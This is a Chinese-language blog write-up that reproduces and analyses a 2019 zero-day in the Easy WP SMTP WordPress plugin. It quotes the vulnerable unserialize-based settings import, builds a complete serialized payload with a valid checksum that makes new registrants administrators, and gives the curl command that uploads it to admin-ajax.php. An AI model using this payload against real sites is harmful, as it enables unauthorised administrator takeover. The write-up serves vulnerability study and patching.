• 背景
  • 漏洞分析
  • 漏洞利用
  • 漏洞复现
  • 漏洞危害
  • 首页
  • 渗透
  • 折腾
  • 转载
  • 关于Me
  • 榜上有名
  • 文章存档
  • 友情链接

不妨看看这里

会员面板

Base64 Image

WordPress 插件Easy WP SMTP 0day漏洞复现及分析

  • Mr.Wu
  • 2019-04-05
  • 0

背景

2019年3月中旬,Ninja公司的waf产品[NinjaFirewall (WP Edition)]拦截到针对easy-wp-smtp 插件v1.3.9版本的攻击。此0day漏洞可造成未授权用户修改wordpress站点设置,甚至造成恶意代码注入。Easy WP SMTP是wordpress知名插件之一,拥有300,000+活跃安装。

漏洞分析

此次漏洞出现在easy-wp-smtp/easy-wp-smtp.php文件的admin_init函数中。该函数可在用户访问admin时进行hook,主要功能是查看/删除日志,增加/删除/更新数据库配置。但此处并未对用户鉴权,未判断用户身份,导致任意用户可修改站点配置。

漏洞利用

在此我们借助Ninja给出的exp进行分析。 https://blog.nintechnet.com/critical-0day-vulnerability-fixed-in-wordpress-easy-wp-smtp-plugin/ 我们将利用此漏洞修改wordpress站点设置,开启站点注册,并设置默认注册用户为administrator。 在wordpress站点配置选项中,users_can_register选项为是否启用注册选项,default_role是注册用户默认身份选项。在默认配置中,users_can_register配置为0即关闭,default_role配置为subscriber(订阅者)二者的值可在wordpress数据库wp_options表中查到。 在v1.3.9版本代码easy-wp-smtp.php文件的308行
$in_raw = file_get_contents( $_FILES[ 'swpsmtp_import_settings_file' ][ 'tmp_name' ] );
此处的file_get_contents是用来接收传入的配置文件的,实现导入配置文件功能 309-323行
    try {
    $in = unserialize( $in_raw );
    if ( empty( $in[ 'data' ] ) ) {
        echo $err_msg;
        wp_die();
    }
    if ( empty( $in[ 'checksum' ] ) ) {
        echo $err_msg;
        wp_die();
    }
    if ( md5( $in[ 'data' ] ) !== $in[ 'checksum' ] ) {
        echo $err_msg;
        wp_die();
    }
    $data = unserialize( $in[ 'data' ] );
320行$in = unserialize( $in_raw );以及323行$data = unserialize( $in[ 'data' ] );对导入的配置文件进行了两次反序列化。 之后的foreach中,解析$data数组并使用update_option函数更新配置。
foreach ( $data as $key => $value ) {
    update_option( $key, $value );
    }
我们由此倒推,foreach中接受的值应为
{
  ["users_can_register"]=>
  string(1) "1"
  ["default_role"]=>
  string(13) "administrator"
}
先序列化一波
"a:2:{s:18:"users_can_register";s:1:"1";s:12:"default_role";s:13:"administrator";}"
我们注意到上述过程中需要checksum,需要array:
{
  ["data"]=>
  string(81) "a:2:{s:18:"users_can_register";s:1:"1";s:12:"default_role";s:13:"administrator";}"
  ["checksum"]=>
  string(32) "3ce5fb6d7b1dbd6252f4b5b3526650c8"
}
序列化后
a:2:{s:4:"data";s:81:"a:2:{s:18:"users_can_register";s:1:"1";s:12:"default_role";s:13:"administrator";}";s:8:"checksum";s:32:"3ce5fb6d7b1dbd6252f4b5b3526650c8";}
以上字符串写入/tmp/wpexp.txt中,然后执行以下命令
$ curl https://TARGET/wp-admin/admin-ajax.php -F 'action=swpsmtp_clear_log' -F 'swpsmtp_import_settings=1' -F 'swpsmtp_import_settings_file=@/tmp/wpexp.txt'
在此解释一下这条命令 /wp-admin/admin.php文件中有以下注释
Note, this does not just run on user-facing admin screens. It runs on admin-ajax.php and admin-post.php as well.
我们在admin-ajax.php使用action=swpsmtp_clear_log触发漏洞

漏洞复现

执行exp前 我们首先搭建一个wordpress站点,安装v1.3.9版本的Easy WP SMTP,并进行相关配置。 默认无法注册 此时我们留意一下站点默认配置 默认数据库值 执行exp后 刷新站点即可看到注册 注册后即为administrator 网站配置

漏洞危害

1.因为此插件使用了不安全的unserialize()方法,所以可导致RCE 2.任意用户可查看/修改/删除日志 3.可任意查看wordpress插件配置,甚至包括SMTP的地址、用户名、密码。 根据捕获的攻击样本显示,攻击者更倾向于修改wp_user_roles的值,将所有用户的权限修改为管理员,这样订阅者依然显示为subscriber但却可以执行管理员权限。 附上PDF版本 链接: https://pan.baidu.com/s/16-iwmT5DnUt_Itiie90-yQ 提取码: ujkt
© 2025 MrWu
Theme by Wing-child
  • {{ item.name }}
  • {{ item.name }}